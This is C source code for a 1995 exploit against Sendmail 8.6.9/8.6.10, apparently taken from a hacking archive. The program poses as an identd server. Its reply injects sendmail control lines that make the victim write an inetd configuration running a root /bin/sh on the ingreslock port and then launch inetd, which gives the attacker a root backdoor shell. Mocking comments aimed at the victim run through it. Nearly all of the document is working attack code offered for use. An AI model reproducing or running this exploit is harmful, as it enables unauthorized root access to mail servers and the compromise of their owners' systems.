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- /* Sendmail 8.6.9 identd hack. -- SnoCrash [r00t] */
- /* 9/29/95 -- Fixed to make it compile on fuxin' SunOS */
- /* Fixed some more so it can work on 8.6.10 -- 10/2/95 */
- /* Final cleanup -- 10/4/95. [2000]*/
-
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/fcntl.h>
- #include <gnu/types.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #define OUTPUT_BUFFER 4096 /* Output and input, */
- #define SOCKET_BUFFER 512 /* with which we must up-put */
- void main(void)
- {
- struct fd_set fdesc; /* File descriptor structure */
- char outbuf[OUTPUT_BUFFER]; /* Our output buffer */
- char inbuf[SOCKET_BUFFER]; /* "" input "" */
- /* Preparing to read incoming data, captain. */
- FD_ZERO(&fdesc);
- FD_SET(0, &fdesc);
-
- /* Read it, Sulu! Now! */
- if(read(0, inbuf, SOCKET_BUFFER - 1)<=0)
- exit(1);
- FD_SET(0, &fdesc);
-
- /* Now we send our instructions, under the guise of innocent
- * ol' identd. I find this ironic, that identd, supposedly
- * a standard that would help stop "evil hacker types", became
- * part of one of the bigger holes to ever hit the net. Hmm.
- * Ain't life funny that way sometimes? :)
- */
- sprintf(outbuf, " \
- %s : USERID : UNIX : Evil_Hacker_Type...Phear_Me. So, like.. here are \
- my evil commands for you to execute so I can rox yer box. Check this out... \
- \r\nCroot\r\nR<\"|/bin/echo ingreslock stream tcp nowait root /bin/sh /bin/sh > \
- /tmp/.inetd.conf ; /usr/sbin/inetd /tmp/.inetd.conf \">\r\nHReceived: Pretty \
- fucking eleet, eh? Now I just have to sit here and babble so I can fill \
- up your crappy buffer. So I bet youre wondering how this got here. Well \
- lets just say you shouldnt run a Sendmail earlier or later than 8.6.11. \
- 8.6.12 has a whole load of different bugs, but this isnt one of them. \
- Im not so sure about 8.7.x, but I wouldnt trust Eric Allman too much. \
- weellll... it's been fun fucking with your box and all, but I really must \
- be going, so I guess Ill see you around. Tell all your friends to be nice \
- and leave the door open like you did. Thanks... its been real. \unkyfunkyfunkyfunkyfunkyfunkyfunkyfunkyfunkyfunkyfunky....aaah this is just too
- funky.\r\n \
- ", inbuf);
-
- write(1, outbuf, strlen(outbuf));
- exit(0);
- }
- /* www.hack.co.za [2000]*/